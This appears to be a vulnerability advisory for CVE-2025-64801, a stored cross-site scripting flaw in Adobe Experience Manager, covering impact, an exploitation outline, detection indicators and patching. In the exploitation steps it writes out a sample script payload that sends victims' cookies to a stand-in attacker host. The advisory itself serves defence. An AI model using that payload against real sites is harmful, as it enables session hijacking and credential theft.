CVE-2025-64801: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64801 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient sanitization of user-supplied input in AEM form fields. A low-privileged, authenticated attacker can inject persistent malicious JavaScript into vulnerable fields; the script executes in the browser of any user who subsequently visits the affected page. Exploitation requires network access, low privileges, and user interaction (the victim browsing to the page containing the injected payload), with a changed scope indicating cross-context impact (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, and potential escalation to higher-privileged accounts. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, affecting other users and potentially the broader AEM environment. Confidentiality and integrity are both impacted (low), while availability is not directly affected (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or use an existing low-privileged AEM user account (e.g., a contributor or author role).
3. Identify vulnerable form fields: Navigate to AEM pages or components that render user-supplied input without proper sanitization, such as content authoring forms or editable text fields.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save the content.
5. Trigger execution: Wait for a victim (e.g., an administrator or other user) to browse to the page containing the injected content; the malicious script executes in their browser, enabling session token theft, credential harvesting, or further actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads from low-privileged user accounts.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual cookie or session data exfiltration patterns.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) in AEM JCR content nodes or page properties that were not authored by trusted users.
• Process/Application: Unexpected JavaScript execution errors or CSP violation reports in AEM server logs or browser console logs referencing injected script sources.

Adobe has released patches addressing CVE-2025-64801: AEM on-premises users should upgrade to version 6.5.24.0 or later; AEM Cloud Service users are protected as of the 2025.12.0 release. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM Content Security Policy (CSP) configurations to limit the impact of any XSS vulnerabilities (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including CVE-2025-64801, that could allow for arbitrary code execution and other impacts (CIS Advisory). Tenable added detection support via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or social media discussion specific to this CVE has been identified beyond standard vulnerability tracking and aggregation activity.